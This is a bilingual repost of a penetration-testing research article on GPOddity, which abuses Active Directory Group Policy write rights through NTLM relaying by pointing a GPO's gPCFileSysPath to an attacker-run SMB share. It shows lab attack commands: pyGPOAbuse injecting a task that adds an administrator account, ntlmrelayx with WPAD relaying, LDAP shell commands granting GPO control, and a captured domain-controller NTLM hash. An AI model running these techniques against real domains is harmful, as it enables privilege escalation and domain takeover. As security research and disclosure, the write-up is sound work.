GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!

渗透技巧 1年前 (2023) admin
187 0 0

During the pentest of an Active Directory environment, we recently came across a situation in which we were able to relay the authentication data of a user having write permissions on a sensitive Group Policy Object (GPO).在 Active Directory 环境的渗透测试期间,我们最近遇到了一种情况,在这种情况下,我们能够中继对敏感组策略对象 (GPO) 具有写入权限的用户的身份验证数据。

Due to the peculiarities of GPOs’ implementation in Active Directory, existing tools do not allow their exploitation in NTLM relaying contexts. We however devised a new versatile exploitation vector that can be implemented through relaying, as well as a tool automating the attack, GPOddity, available on Synacktiv’s GithubThis opens the door thigh-impact privilege escalation scenarios, solely relying on default Active Directory configurations and vulnerable GPO ACLs.由于 GPO 在 Active Directory 中的实现的特殊性,现有工具不允许在 NTLM 中继上下文中利用它们。然而,我们设计了一个新的多功能利用向量,可以通过中继来实现,以及一个自动化攻击的工具GPOddity,可在Synacktiv的G ithub上使用。这为仅依赖默认 Active Directory 配置和易受攻击的 GPO ACL 的高影响权限提升方案打开了大门。

TABLE OF CONTENTS 目录

  1. Introduction 介绍

  2. Concepts and lab environment概念和实验室环境

  3. Existing GPOs attack vectors and their limits现有 GPO 攻击媒介及其限制

  4. A new, more versatile attack vector: spoofing GPO location through the gPCFileSysPath attribute一种新的、更通用的攻击媒介:通过 gPCFileSysPath 属性欺骗 GPO 位置

  5. Domain takeover abusing GPO ACLs: exploit demonstration using GPOddity滥用 GPO ACL 的域接管:使用 GPOddity 进行漏洞利用演示

  6. Conclusion 结论

  7. After root: the inner workings of GPOddity根之后:GPOddity 的内部工作原理

1. INTRODUCTION 1. 引言

Group Policy Objects represent high value targets for an attacker in any Active Directory environment. Indeed, compromising such objects would allow taking over any computer or user linked to it, thus opening up a high number of privilege escalation or lateral movement opportunities. What’s more, if the GPO is linked to an administrative user on the domain or to a domain controller, its compromise would directly lead to the domain takeover.组策略对象表示攻击者在任何 Active Directory 环境中的高价值目标。事实上,破坏这些对象将允许接管任何计算机或链接到它的用户,从而开辟大量特权升级或横向移动的机会。此外,如果 GPO 链接到域上的管理用户或域控制器,则其泄露将直接导致域接管。

Attacking a Group Policy Object traditionally requires full control of a user with write permissions on the target GPO (meaning, the attacker knows such a user’s password or NT hash). This requirement limits the exploitability of GPOs and restricts the implementation of such attack paths to specific, authenticated edge cases.传统上,攻击组策略对象需要完全控制对目标 GPO 具有写入权限的用户(这意味着攻击者知道此类用户的密码或 NT 哈希)。此要求限制了 GPO 的可利用性,并将此类攻击路径的实施限制为特定的、经过身份验证的边缘情况。

What if, however, a user’s write permissions on a GPO could be exploited through NTLM relaying? When relaying authentication data, an attacker does not need to know the user’s password in order to perform specific actions in the domain; they only need to put themselves in a Man-in-the-Middle position, which can be achieved through various means in Active Directory environments. As a result, exploiting GPOs through NTLM relaying would extend the applicability of this attack vector by allowing a potentially unauthenticated attacker to abuse a relayed user’s GPO ACLs to elevate their privileges. Please note that this article will not go into the details of NTLM relaying; if you are not familiar with the concept, you may refer to this excellent article.但是,如果可以通过 NTLM 中继利用用户对 GPO 的写入权限,该怎么办?中继身份验证数据时,攻击者无需知道用户的密码即可在域中执行特定操作;他们只需要将自己置于中间人的位置,这可以通过Active Directory环境中的各种方式来实现。因此,通过 NTLM 中继利用 GPO 将允许可能未经身份验证的攻击者滥用中继用户的 GPO ACL 来提升其权限,从而扩展此攻击媒介的适用性。请注意,本文不会详细介绍 NTLM 中继;如果您不熟悉这个概念,可以参考这篇优秀的文章。

As will be demonstrated later, existing tools and techniques do not allow such an exploitation through relaying due to the peculiarities of the GPOs’ implementation in Active Directory. This article aims at describing a new, versatile attack vector targeting GPOs, that works in NTLM relaying scenarios, while also presenting certain advantages related to stealth and safety in traditional scenarios outside relaying.正如稍后将演示的那样,由于 GPO 在 Active Directory 中的实现的特殊性,现有工具和技术不允许通过中继进行此类利用。本文旨在介绍一种新的面向 GPO 的通用攻击媒介,该媒介适用于 NTLM 中继方案,同时还介绍了中继之外的传统方案中与隐身性和安全性相关的某些优势。

The following tool, named GPOddity, was developed to automate the attack. Its use will be demonstrated in the article:以下名为GPOddity的工具是为了自动化攻击而开发的。它的使用将在文章中演示:

https://github.com/synacktiv/GPOddity

Note that GPOddity is, regarding some features, heavily based on pyGPOAbuse, that is a python implementation of SharpGPOAbuse.请注意,GPOddity在某些功能方面主要基于pyGPOAbuse,这是SharpGPOAbuse的python实现。

2. CONCEPTS AND LAB ENVIRONMENT2. 概念和实验室环境

a. Group Policy Objects: definition and implementationa. 组策略对象:定义和实现

If you are already familiar with the concepts of Group Policy Objects and their implementation in Active Directory as Group Policy Containers and Group Policy Templates, feel free to skip ahead. Otherwise, we will go over these concepts as they will be important to understand the rest of the article.如果您已经熟悉组策略对象的概念及其在 Active Directory 中作为组策略容器和组策略模板的实现,请随时跳过。否则,我们将讨论这些概念,因为它们对于理解本文的其余部分很重要。

GPOs are a fundamental aspect of Microsoft’s Active Directory. They are a collection of settings and configurations that will be applied periodically, through the network, to a defined group of users and computers within a domain. These settings are used to control and manage various aspects of the operating system and applications running in the domain, to enforce specific configurations, security policies, software installations, etc.GPO是Microsoft Active Directory的一个基本方面。它们是设置和配置的集合,将通过网络定期应用于域中定义的用户和计算机组。这些设置用于控制和管理域中运行的操作系统和应用程序的各个方面,以强制实施特定配置、安全策略、软件安装等。

To do so, GPOs are implemented as two distinct elements: the Group Policy Container (GPC), and the Group Policy Template (GPT).为此,GPO 作为两个不同的元素实现:组策略容器 (GPC) 和组策略模板 (GPT)。

The Group Policy Container is an LDAP object that represents the GPO itself, its configuration, and the permissions that users in the domain should have on it. The GPC’s distinguished name includes a GUID used to identify the GPO, enclosed in brackets; for instance:组策略容器是一个 LDAP 对象,它表示 GPO 本身、其配置以及域中的用户应对其具有的权限。GPC 的可分辨名称包括用于标识 GPO 的 GUID,括在括号中;例如:

CN={46993522-7D77-4B59-9B77-F82082DE9D81},CN=Policies,CN=System,DC=corp,DC=com

This LDAP object only defines the generic configuration of the GPO such as its name and description. It does not contain, in itself, the content of GPOs, i.e. the details of the settings and configurations that should be applied by the user or computer on which it is linked. This is the role of the Group Policy Template, which is nothing more than a folder in the SYSVOL SMB share of domain controllers. The GPT contains all the files necessary to describe the settings and configurations to implement. When a user or a computer has to apply the GPO, it will actually fetch the files of this SMB share to retrieve the instructions. The folder will have a path with the following format, also referencing the GUID that identifies the GPO:此 LDAP 对象仅定义 GPO 的通用配置,例如其名称和说明。它本身不包含 GPO 的内容,即应由链接它的用户或计算机应用的设置和配置的详细信息。这是组策略模板的角色,它只不过是域控制器的 SYSVOL SMB 共享中的一个文件夹。GPT 包含描述要实现的设置和配置所需的所有文件。当用户或计算机必须应用 GPO 时,它实际上将提取此 SMB 共享的文件以检索说明。该文件夹将具有以下格式的路径,还引用标识 GPO 的 GUID:

\\dc.corp.com\SysVol\corp.com\Policies\{46993522-7D77-4B59-9B77-F82082DE9D81}

By default, Group Policy Objects are applied every 90 minutes for standard machines and users, and every 5 minutes for domain controllers.

b. Lab setup and testing environment

In order to illustrate the various concepts and the attack path of the article, a very simple Active Directory instance was set up, with the following characteristics.

  • Domain name: corp.com.

  • Some standard users. 一些标准用户。

  • One domain controller (DC.corp.com) with IP address 192.168.58.100 (Windows).一个域控制器 ( DC.corp.com ),IP 地址为 192.168.58.100 (Windows)。

  • One domain-joined workstation (WK01.corp.com) with IP address 192.168.58.102 (Windows).一个已加入域的工作站 ( WK01.corp.com ),IP 地址为 192.168.58.102 (Windows)。

  • One non domain-joined attacker machine with IP address 192.168.58.101 (Linux).一台未加入域的攻击者计算机,IP 地址为 192.168.58.101 (Linux)。

  • One Group Policy Object named SRV_ANY_HARDENING_POLICY simulating a GPO applied on all domain machines to implement some hardening configurations. It is also linked to the Domain Controllers Organizational Unit, which means that it applies to the DC.corp.com domain controller.一个名为模拟在所有域计算机上应用的 GPO 的 SRV_ANY_HARDENING_POLICY 组策略对象,以实现一些强化配置。它还链接到 Domain Controllers 组织单位,这意味着它适用于 DC.corp.com 域控制器。

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
The SRV_ANY_HARDENING_POLICY Group Policy Object.SRV_ANY_HARDENING_POLICY 组策略对象。
  • One of the standard users, adove, has write permissions on the SRV_ANY_HARDENING_POLICY Group Policy Object (including the WriteDACL or GenericWrite permission). This could happen for various reasons, from a misconfiguration resulting from nested group memberships, to an intended choice in order to allow this user to manage/debug this GPO in the corp.com domain. Such permissions can be visualized through the BloodHound tool, by querying the Outbound Object Control rights of the adove user.标准用户之一 对 adove SRV_ANY_HARDENING_POLICY 组策略对象具有写入权限(包括 WriteDACL 或 GenericWrite 权限)。发生这种情况的原因多种多样,从嵌套组成员身份导致的配置错误,到允许此用户在 corp.com 域中管理/调试此 GPO 的预期选择。可以通过寻血猎犬工具,通过查询 adove 用户的出站对象控制权限来可视化此类权限。

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Adove user’s permissions on the SRV_ANY_HARDENING_POLICY GPO.

3. EXISTING GPO EXPLOITATION TOOLS AND THEIR LIMITS

In order to better apprehend the context and motivation behind the attack vector, as well as its inner workings, it is first important to fully understand the traditional GPO exploitation vectors, as well as their limits.

a. Traditional exploitation of GPO attack vectors

As briefly mentioned in the introduction, the usual way to abuse GPOs up until now takes advantage of the direct compromise of a user having edit rights on a Group Policy Object, in order to take over the objects that are linked to that GPO.

More concretely, such an attack vector actually modifies an existing GPO and adds to it a malicious new immediate task. Indeed, Group Policy Objects can define immediate tasks that are nothing more than scheduled tasks configuring arbitrary commands (for instance, cmd or powershell commands) that will be executed immediately by the target object when it applies the GPO.

For illustration purposes, assume that we want to create a new GPO in our corp.com domain, called GpoImmediateTask, aimed to be applied by domain controllers. This GPO implements an immediate task that will execute a command as the NT AUTHORITY\SYSTEM user and that will write the output of the whoami program to the C:\gpo_immediate_task file on any computer on which the GPO is applied. This can be performed from the Group Policy Management Editor utility.

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Immediate task creation. 即时创建任务。
GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Immediate task configuration.即时任务配置。

Now that the Group Policy Object defining an immediate task is created, it is possible to link it to the Domain Controllers Organizational unit in order to apply it to our domain controller. Once this is done, we may wait 5 minutes for the automatic GPO refresh, or force immediate application with the gpupdate command. Either way, the task is executed by the domain controller, and the file is created on its file system, demonstrating command execution as the NT AUTHORITY\SYSTEM user.现在,定义了即时任务的组策略对象已创建,可以将其链接到组织单位,以便将其 Domain Controllers 应用于我们的域控制器。完成此操作后,我们可能会等待 5 分钟以进行自动 GPO 刷新,或使用 gpupdate 命令强制立即应用。无论哪种方式,任务都由域控制器执行,文件在其文件系统上创建,演示以 NT AUTHORITY\SYSTEM 用户身份执行命令。

C:\> hostname
DC

C:\> dir
 Volume in drive C has no label.
 Volume Serial Number is BCEF-5E9D

 Directory of C:\

08/09/2023  01:03 PM    <DIR>          inetpub
11/05/2022  12:03 PM    <DIR>          PerfLogs
08/09/2023  01:03 PM    <DIR>          Program Files
08/09/2023  01:03 PM    <DIR>          Program Files (x86)
08/13/2023  04:45 AM    <DIR>          Temp
08/09/2023  01:01 PM    <DIR>          Users
08/09/2023  01:03 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  39,906,672,640 bytes free

C:\> gpupdate
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

C:\> dir
 Volume in drive C has no label.
 Volume Serial Number is BCEF-5E9D

 Directory of C:\

08/13/2023  05:40 AM                21 gpo_immediate_task
08/09/2023  01:03 PM    <DIR>          inetpub
11/05/2022  12:03 PM    <DIR>          PerfLogs
08/09/2023  01:03 PM    <DIR>          Program Files
08/09/2023  01:03 PM    <DIR>          Program Files (x86)
08/13/2023  04:45 AM    <DIR>          Temp
08/09/2023  01:01 PM    <DIR>          Users
08/09/2023  01:03 PM    <DIR>          Windows
               1 File(s)             21 bytes
               7 Dir(s)  39,905,423,360 bytes free

C:\> type gpo_immediate_task
nt authority\system

This immediate task feature is perfect from an attacker standpoint when abusing a compromised Group Policy Object, as it would allow them to execute any arbitrary command with administrative privileges on all objects on which the GPO applies. To do so, they would simply need to modify the settings applied by the GPO to inject a malicious immediate task.

This is precisely the approach adopted by existing GPO exploitation tools, such as:

Let’s run a compromise scenario for our corp.com domain using the traditional attack vector implemented by these tools to abuse a GPO – for instance, using pyGPOAbuse.

Exploiting the GPO ACLs of the adove user through the GPO exploitation tools mentioned above requires complete compromise of such a user, i.e. knowing the password or NT hash associated with the account. This is a pretty substantial requirement, but let’s assume this is the case, and that the adove user account was somehow compromised.

In these conditions, from the attacker machine, it would be possible to run a pyGPOAbuse command to exploit our permissions on the SRV_ANY_HARDENING_POLICY GPO, and inject a malicious immediate task that will add the synacktiv_pygpoabuse domain administrator (password Password123!) to the domain the next time the domain controller will apply this GPO, whose GUID is 46993522-7D77-4B59-9B77-F82082DE9D81.

Then, the following pyGPOAbuse command is executed:

$ python3 pygpoabuse.py 'corp.com/adove:Password1' -gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' -command 'net user synacktiv_pygpoabuse Password123! /add && net localgroup administrators synacktiv_pygpoabuse /add' -v
INFO:root:Version updated
[*] Version updated
SUCCESS:root:ScheduledTask TASK_d2b5321d created!
[+] ScheduledTask TASK_d2b5321d created!

All that is left to do is wait until the compromised GPO is applied to the domain controller (5 minutes), and check afterward that the domain administrator was successfully added by the immediate task:剩下要做的就是等待,直到将受损的 GPO 应用于域控制器(5 分钟),然后检查域管理员是否已通过即时任务成功添加:

$ crackmapexec smb dc.corp.com -u 'synacktiv_pygpoabuse' -p 'Password123!'
SMB  192.168.57.10  445  DC  [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:corp.com) (signing:True) (SMBv1:False)
SMB  192.168.57.10  445  DC  [+] corp.com\synacktiv_pygpoabuse:Password123! (admin)

Everything went well, and the attacker effectively elevated their privileges from the standard user adove to the ones of a domain administrator by abusing GPO ACLs.一切进展顺利,攻击者通过滥用 GPO ACL 有效地将其权限从标准用户 adove 提升到域管理员的权限。

It is important to mention that behind the scenes, these tools will actually perform modifications on both the Group Policy Container (through LDAP), and the Group Policy Template (through SMB):值得一提的是,在后台,这些工具实际上将对组策略容器(通过 LDAP)和组策略模板(通过 SMB)执行修改:

  • Regarding the Group Policy Container, several attributes of the LDAP object representing the GPO must be updated. Most importantly, first the version of the GPO should be updated (version attribute), so that target systems will detect changes and correctly re-apply the GPO. Second, the machine extension names should be updated (gPCMachineExtensionNames attribute when applying to computers, and gPCUserExtensionNames attribute when applying to users). They should be updated to include the one allowing to invoke immediate tasks. Long story short, machine extension names are required to allow Group Policy client-side extensions to run, i.e. additional GPO functionalities such as scheduled/immediate tasks. For more information on machine extension names, see this Microsoft article; for a list of available machine extension names, see this other article关于组策略容器,必须更新表示 GPO 的 LDAP 对象的多个属性。最重要的是,首先应更新 GPO 的版本( version 属性),以便目标系统将检测更改并正确重新应用 GPO。其次,应更新计算机扩展名称( gPCMachineExtensionNames 应用于计算机时为属性,应用于用户时 gPCUserExtensionNames 为属性)。它们应该更新以包括允许调用即时任务的那个。长话短说,需要计算机扩展名称才能允许组策略客户端扩展运行,即其他 GPO 功能,例如计划/即时任务。有关计算机扩展名称的详细信息,请参阅此Microsoft文章;有关可用计算机扩展名称的列表,请参阅此另一篇文章.

  • Regarding the Group Policy Template, the actual files of the SYSVOL folder corresponding to the target GPO are directly modified in order to inject the malicious immediate task (more specifically, in the ScheduledTasks.xml file).关于组策略模板,直接修改与目标 GPO 对应的 SYSVOL 文件夹的实际文件,以便注入恶意即时任务(更具体地说,在 ScheduledTasks.xml 文件中)。

All in all, the tools mentioned above work perfectly under the right conditions. They do however present some limitations, one of them being their unsuitability in NTLM relaying scenarios.总而言之,上述工具在适当的条件下可以完美运行。但是,它们确实存在一些限制,其中之一是它们不适合 NTLM 中继方案。

b. The limits of existing toolsb.现有工具的局限性

Let’s alter the scenario described in the previous section, and place ourselves in the position of the pentest that inspired this article. The attacker is unauthenticated on the internal network, and confirmed that they should be able to perform NTLM relaying attacks targeting the domain’s LDAP server by abusing its default configuration (LDAP channel binding and LDAP signing are disabled by default in Active Directory). In order to carry out such attacks and be able to relay authentication data, the attacker placed themselves in a Man-in-the-Middle position on the network. Several effective methods exist to do so in Active Directory, that also exploit default configurations; for instance (non-exhaustive list)让我们改变上一节中描述的场景,并将自己置于激发本文灵感的笔试位置。攻击者在内部网络上未经身份验证,并确认他们应该能够通过滥用域的默认配置来执行针对域的 LDAP 服务器的 NTLM 中继攻击(LDAP 通道绑定和 LDAP 签名在 Active Directory 中默认处于禁用状态)。为了进行此类攻击并能够中继身份验证数据,攻击者将自己置于网络上的中间人位置。在活动目录中有几种有效的方法可以做到这一点,这些方法也利用默认配置;例如(非详尽列表):

The execution of these tools is outside the scope of the article, but multiple great tutorials exist to guide you through it if needed. Once in a Man-in-the-Middle position, it is then possible to execute ntlmrelayx to perform the actual attack and relay the authentication data of the adove user to the LDAP server in order to perform LDAP queries as this user. The command below makes use of the -wh flag in order to implement a WPAD proxy authentication attack and effectively trigger HTTP authentication, that can be conveniently relayed, for instance to LDAP.

$ ntlmrelayx -t 'ldaps://192.168.58.100' -wh '192.168.58.101:8080' --http-port '80,8080' -i
[...]
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.58.101 controlled, attacking target ldaps://192.168.58.100
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldaps://192.168.58.100 as /ADOVE SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000
[*] HTTPD(80): Client requested path: /favicon.ico

Through the -i flag of the previous ntlmrelayx command, an interactive LDAP shell is opened on the attacker’s machine (localhost, port 11000), allowing to run arbitrary LDAP commands as the adove user. This shell also provides several useful built-in commands, that can be displayed with the help instruction.

$ nc 127.0.0.1 11000
# help
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
[...]
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
exit - Terminates this session.

From this position, the initially unauthenticated attacker would be able to secure authenticated access to the domain by creating a machine account. This takes advantage of another default configuration in Active Directory, allowing any user to create up until 10 machine accounts in the domain. Let’s assume that the attacker created the ATTACKER$ machine account with the add_computer snippet of the LDAP shell.

# add_computer ATTACKER qTN8lugSL0yVKr0igdmSBtU1
Attempting to add a new computer with the name: ATTACKER$
Inferred Domain DN: DC=corp,DC=com
Inferred Domain Name: corp.com
New Computer DN: CN=ATTACKER,CN=Computers,DC=corp,DC=com
Adding new computer with username: ATTACKER$ and password: qTN8lugSL0yVKr0igdmSBtU1 result: OK

This is where, in the hypothetical scenario starting from an unauthenticated position, the attacker would use their authenticated access to the domain to thoroughly enumerate it, and realize that the adove user has extensive permissions on the SRV_ANY_HARDENING_POLICY GPO, which is applied to domain controllers. Conveniently, the adove user having interesting GPO ACLs is the one the attacker is currently relaying, which allows them to stay in the current opened LDAP shell. In reality, the attacker might have relayed another user, enumerated the domain, realized the interesting GPO ACLs of the adove user, and waited until they were able to relay this specific user.

The attacker is thus in a situation similar to the one described in the previous sectionthe only difference being that, starting from an unauthenticated position, they do not know the password or NT hash of the adove user; they are simply relaying the account’s authentication data.

From there, the attacker might have a pretty straightforward – and naive – idea: use the write_gpo_dacl snippet of the LDAP shell to give to an account they control, typically the ATTACKER$ computer account, full control over the target GPO object. Then, using traditional exploit tools like pyGPOAbuse, they could abuse the GPO and gain domain administrator privileges.

Let’s try that.

# write_gpo_dacl ATTACKER$ {46993522-7D77-4B59-9B77-F82082DE9D81}
Adding ATTACKER$ to GPO with GUID {46993522-7D77-4B59-9B77-F82082DE9D81}
LDAP server claims to have taken the secdescriptor. [...]

Now that the ATTACKER$ machine accounts (apparently) has full control over the SRV_ANY_HARDENING_POLICY GPO, the attacker may attempt to exploit it with pyGPOAbuse现在计算机 ATTACKER$ 帐户(显然)可以完全控制 SRV_ANY_HARDENING_POLICY GPO,攻击者可能会尝试使用 pyGPOAbuse 来利用它。.

$ python3 pygpoabuse.py 'corp.com/ATTACKER$:qTN8lugSL0yVKr0igdmSBtU1' -gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' -command 'net user synacktiv_ntlmrelay Password123! /add && net localgroup administrators synacktiv_ntlmrelay /add' -v
ERROR:root:This user doesn't seem to have the necessary rights
[...]
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/impacket/smbconnection.py", line 460, in createFile
    return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
  File "/usr/local/lib/python3.9/dist-packages/impacket/smb3.py", line 1227, in create
    if ans.isValidAnswer(STATUS_SUCCESS):
  File "/usr/local/lib/python3.9/dist-packages/impacket/smb3structs.py", line 458, in isValidAnswer
    raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
[...]

The tool returns an SMB STATUS_ACCESS_DENIED error – and any of the traditional exploit scripts would do so. Such an error actually makes senseIn the previous partit was mentioned that existing tools need to perform two kinds of modifications in order to successfully execute: modify the Group Policy Container LDAP object (to alter the version and the machine extension names), but also the Group Policy Template (in order to inject the malicious immediate task in the files of the SYSVOL folder for the GPO).该工具返回 SMB STATUS_ACCESS_DENIED 错误 – 任何传统的漏洞利用脚本都会这样做。这样的错误实际上是有道理的。在上一部分中,提到现有工具需要执行两种修改才能成功执行:修改组策略容器 LDAP 对象(更改版本和计算机扩展名称),以及组策略模板(以便在 GPO 的 SYSVOL 文件夹文件中注入恶意即时任务)。

However, running LDAP commands as the adove user, and more specifically using the write_gpo_dacl snippet, only modified the permissions related to the Group Policy Containeri.e. the LDAP object representing the GPO. As a result, the account as which the exploit is run, ATTACKER$, has the necessary permissions to alter the GPC, but cannot alter the GPT located in the SYSVOL share. The SMB permissions associated with the GPO folder will not be automatically modified to match those of the GPC LDAP object. This explains the STATUS_ACCESS_DENIED error that was observed above.但是,以 adove 用户身份运行 LDAP 命令(更具体地说,使用 write_gpo_dacl 代码段)仅修改了与组策略容器(即表示 GPO 的 LDAP 对象)相关的权限。因此,运行 ATTACKER$ 漏洞利用的帐户具有更改 GPC 所需的权限,但无法更改 SYSVOL 共享中的 GPT。不会自动修改与 GPO 文件夹关联的 SMB 权限以匹配 GPC LDAP 对象的权限。这解释了上面观察到 STATUS_ACCESS_DENIED 的错误。

This discrepancy between the LDAP and SMB permissions of the ATTACKER$ account will actually be prompted to any administrator of the domain everytime they open the Group Policy Management console, and click on the SRV_ANY_HARDENING_POLICY tab.ATTACKER$ 每次域的任何管理员打开组策略管理控制台并单击 SRV_ANY_HARDENING_POLICY 选项卡时,实际上都会向域的任何管理员提示帐户的 LDAP 和 SMB 权限之间的这种差异。

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Inconsistency between LDAP and SMB permissions displayed to administrators.

If the administrator clicks OK on the displayed popup, permissions will be synchronized, giving the ATTACKER$ account write permissions on the SRV_ANY_HARDENING_POLICY GPO folder in the SYSVOL share. Once this is done, the exploitation through standard exploitation tools will work as expected, and as shown in the previous section.

One could imagine a somewhat viable exploit scenario in which an attacker updates their permissions on the Group Policy Container, then waits for an administrator to open the target GPO in the Group Policy Management Console and accept the displayed popup to synchronize LDAP and SMB permissions. Such an attack vector is, however, not satisfying for several reasons:

  • It may take a long time before an administrator opens the GPO tab in the Group Policy Management Console.

  • Even though the popup is not particularly menacing, such a scenario is not stealthy and may alert the administrator that someone is trying to exploit GPO ACLs.

After digging a bit deeper into the inner working of the GPO implementation, it was actually possible to discover another, more efficient attack vector, allowing to exploit GPO ACLs through NTLM relaying, without requiring user interaction.

4. A NEW VERSATILE ATTACK VECTOR: SPOOFING GPO LOCATION THROUGH THE GPCFILESYSPATH ATTRIBUTE

a. The gPCFileSysPath LDAP attribute

As was made apparent in the previous developments, in NTLM relaying scenarios, an attacker would only be able to alter the Group Policy Container, and modify the LDAP attributes associated with it. As a result, the next logical step was to identify the various attributes configured in the GPC and look for anything that could be exploited.

A particularly interesting LDAP attribute of the Group Policy Container is called gPCFileSysPath. The default value of such an attribute points to the folder associated with the GPO in the SYSVOL SMB share of the domain controller.

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
The Group Policy Container’s gPCFileSysPath attribute.组策略容器的属性 gPCFileSysPath 。

This suggests that the gPCFileSysPath attribute is somehow used to indicate the location where the Group Policy Template files associated with the GPO are stored. Its value is expected to point to a folder of the SYSVOL share on a domain controller. But what would happen if the value of this attribute was to be modified to point to a completely different location? Surprise – all the objects on which the GPO applies would actually come fetch the files of the GPT to this new arbitrary host, which could be specified as an FQDN, or simply an IP address.这表明该 gPCFileSysPath 属性以某种方式用于指示与 GPO 关联的组策略模板文件的存储位置。其值应指向域控制器上 SYSVOL 共享的文件夹。但是,如果要修改此属性的值以指向完全不同的位置,会发生什么情况?令人惊讶的是 – GPO 应用的所有对象实际上都会将 GPT 的文件提取到这个新的任意主机,该主机可以指定为 FQDN,或者只是一个 IP 地址。

For illustration purposes, the GPOSpoofedLocation GPO was created and linked with the domain controller. Then, its gPCFileSysPath attribute was altered to point to the 192.168.58.102 IP address, which corresponds to the non domain-joined attacker machine.出于说明目的,创建了 GPOSpoofedLocation GPO 并将其与域控制器链接。然后,其 gPCFileSysPath 属性被更改为指向 192.168.58.102 IP 地址,该地址对应于未加入域的攻击者计算机。

On the attacker machine, a simple SMB server was launched using the Impacket tool suite. When the domain controller attempts to apply the GpoSpoofedLocation GPO, an authentication request is logged by the SMB server.在攻击者计算机上,使用 Impacket 工具套件启动了一个简单的 SMB 服务器。当域控制器尝试应用 GpoSpoofedLocation GPO 时,SMB 服务器将记录身份验证请求。

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Editing the GPO’s gPCFileSysPath attribute with an arbitrary value.使用任意值编辑 GPO gPCFileSysPath 的属性。
$ smbserver.py -smb2support -debug 'synacktiv' .
[...]
[*] Config file parsed
[*] Incoming connection (192.168.58.100,50438)
[*] AUTHENTICATE_MESSAGE (CORP\DC$,DC)
[*] User DC\DC$ authenticated successfully
[*] DC$::CORP:aaaaaaaaaaaaaaaa:5211fb65e902efea8bacaf88a2d4cbb0:01010000000000008090127431d4d901ee69e108c99e5d130000000001000800460041004b00450003002000460041004b0045002e00700061007300740061002e006c006f00630061006c0002000a005000410053005400410004001600700061007300740061002e006c006f00630061006c00070008008090127431d4d90106000400020000000800300030000000000000000000000000400000dc9379f477931e01ec83b0598e78c596b40e1039550a749b844da76da608d50f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350038002e003100300031000000000000000000
[*] Closing down connection (192.168.58.100,50438)
[*] Remaining connections []

In this case, the domain controller will fail to retrieve the files associated with the GPO, since it would refuse to perform an anonymous or guest bind on our SMB server (for more details on authentication requirements for the Group Policy Template file retrieval, see the “After root” section at the end of the article). However, the authentication attempt alone indicates that the gPCFileSysPath attribute can actually point to an arbitrary location.

It is interesting to note that such a behavior seems to be qualified by Microsoft as a legitimate, intended feature rather than a bug. However, various Active Directory tools, such as the Group Policy Management Console, will not work properly as soon as the gPCFileSysPath attribute does not point to a domain controller’s SYSVOL folder with a standard GPO path. This tends to indicate that the possibility to alter the gPCFileSysPath is rather in a gray area, and constitutes a behavior that, even though tolerated, is not legitimately expected by Active Directory.

b. Spoofing the GPT for fun and profit: the attack path

The issue encountered when trying to exploit GPO ACLs through NTLM relaying was the lack of permissions over the SMB share in which the GPT files were stored. With a control that is limited to the GPC LDAP object, it was then impossible to inject a malicious immediate task in the GPO files, located in the SYSVOL share of a domain controller. This issue becomes irrelevant if it is possible, exclusively by manipulating the GPC object, to change the location of the GPT and define it as an SMB share hosted on an attacker’s controlled server whose content can be arbitrarily defined.

Broadly speaking, the steps of the attack will then be the following:

  • Through NTLM relaying, give an account under the attacker’s control (typically a machine account that they created) full rights over the GPC LDAP object.

  • Clone all the files associated with the target GPO by downloading the contents of the legitimate GPT folder.

  • Modify the GPT files locally to inject a malicious immediate task.

  • Host the modified GPT on an SMB server running on the attacker’s machine. For standard Computer GPOs, this does not have to be a Windows domain-joined machineand can be on any machine in the internal network (see the “After root” section at the end of the article).

  • Modify the gPCFileSysPath attribute of the GPC associated with the target GPO to point to the attacker’s controlled SMB server.

  • Wait for the objects linked to the GPO to apply it, and run the malicious immediate task.

  • Restore the original GPC values to remove traces of the exploit.

The GPOddity tool was created to automate these different steps. Its use is demonstrated in the next part.

Note that configuring the SMB server that hosts the malicious GPT is not as straightforward as it seems. As briefly mentioned above, all reasonably modern clients fetching GPT files in order to apply a GPO will refuse to perform anonymous or guest binds ; they will require an SMB authentication. The SMB server cannot either simply accept any username and password when authenticating clients, as it needs a valid signing key derived from the client’s password (even when signing is not implemented ! See the “After root” section at the end of the article for more details). As a result, GPOddity implements a custom SMB server that uses the NETLOGON protocol to authenticate incoming clients and retrieve from the domain controller a valid signing key derived from their passwords.

It should also be noted that the security risks associated with the gPCFileSysPath attribute manipulation have already been mentioned in a few articles, although, to our knowledge, it was not analyzed in a systematical manner, applied to NTLM relaying or exploited from non-domain joined machines.

